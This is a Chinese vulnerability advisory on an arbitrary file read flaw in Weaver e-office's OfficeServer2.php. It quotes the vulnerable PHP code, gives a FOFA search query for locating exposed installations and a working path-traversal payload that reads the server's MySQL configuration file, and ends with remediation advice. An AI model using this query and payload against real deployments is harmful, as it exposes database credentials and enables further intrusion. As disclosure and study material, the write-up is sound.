声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、漏洞描述
泛微e-office OfficeServer2.php存在任意文件读取漏洞隐患,攻击者可通过此漏洞获取敏感信息,为下一步攻击做准备。
二、漏洞分析
打开iWeboffice/OfficeServer2.php,代码如下:
//取得操作命令信息
$mOption=$OPTION; //取得操作命令信息
switch ($mOption){
case "LOADFILE":
$mFileName = $_REQUEST["FILENAME"];
$mRecordID = $_REQUEST['RECORDID'];
$mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;
$mFullPath = iconv("utf-8","gbk",$mFullPath);
$result = file_exists($mFullPath);
if($result == false) {
$MsgError=$_lang["file_file_not_exist"].$mFullPath; //设置错误信息
} else {
$fd = fopen($mFullPath, "rb");
$mFileSize = filesize($mFullPath);
$mFileBody = fread($fd, filesize($mFullPath));
fclose( $fd );
$MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_open_success"]."!")."\r\n"; //设置状态信息
}
break;
case "SAVEFILE": //下面的代码为保存文件在服务
$mFileName = $_REQUEST["FILENAME"];
$mRecordID = $_REQUEST['RECORDID'];
$mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;
if (is_uploaded_file($_FILES['MsgFileBody']['tmp_name']))
{ //保存文档内容
if (move_uploaded_file($_FILES['MsgFileBody']['tmp_name'], iconv("utf-8","gbk",$mFullPath)))
{ //把文档保存到$mFullPath目录下面
$mFileSize = $_FILES['MsgFileBody']['size']; //取得文档大小
$result = true;
}
else
{
$MsgError=$_lang["file_save_fail"]; //设置错误信息
$result=false;
}
}
else
{
$MsgError=$_lang["file_upload_fail"]; //设置错误信息
$result=false;
}
if($result)
{
$MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_save_success"]."!")."\r\n"; //设置状态信息
}
break;
在审计过程中看到LOADFILE。通过$mFileName = $_REQUEST[“FILENAME”];
获取文件名字。而下面的流程没有进行过滤就造成了任意文件读取。
三、漏洞复现
FOFA: app="泛微-EOffice"
构造POC读取配置文件(V9,V10)
Payload:iweboffice/officeserver2.php?OPTION=LOADFILE&FILENAME=../../bin/mysql_config.ini
四、修复建议
1、对用户输入进行严格的过滤和校验,避免出现任意文件读取漏洞
2、升级到安全版本